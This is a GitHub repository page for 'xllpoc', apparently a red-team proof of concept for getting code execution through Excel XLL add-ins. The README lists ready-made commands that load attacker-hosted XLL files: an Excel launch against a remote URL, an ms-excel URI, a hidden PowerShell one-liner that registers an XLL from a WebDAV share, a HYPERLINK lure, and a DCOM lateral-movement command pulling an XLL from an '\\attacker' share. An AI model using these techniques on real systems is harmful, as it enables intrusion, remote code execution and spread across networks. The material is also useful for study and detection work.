Skip to content
moohaxPublic

About

Code Exec via Excel

Resources

Stars

86 stars

Watchers

7 watching

Forks

Latest commit

 

History

25 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

xllpoc

Code Exec via Excel

A small project that aggregates community knowledge for Excel XLL execution, via xlAutoOpen() or PROCESS_ATTACH.

Getting Exec

Put your code in either,

dllmain.cpp
PROCESS_ATTACH

XLL_POC.cpp
xlAutoOpen()

Some various execution techniques

Excel

Excel.exe http://foo.com/xll.xll

uri

ms-excel:ofe|u|http://foo.com/xll.xll

Everyones favourite oneliner

powershell -w hidden -c "IEX ((new-object -ComObject excel.application).RegisterXLL('\\webdavxll_poc.xll')"

Embedded in the Worksheet (xll cant be found)

=HYPERLINK("http://foo.com/xll.xll", "CLICK")

Lateral movement from @buffaloverflow

PS>[activator]::CreateInstance([type]::GetTypeFromCLSID("{CLSID}, tgt")).RegisterXLL("\\attacker\xll.xll")

Credit

About

Code Exec via Excel

Resources

Stars

86 stars

Watchers

7 watching

Forks

Releases

Packages

Used by

Contributors

Languages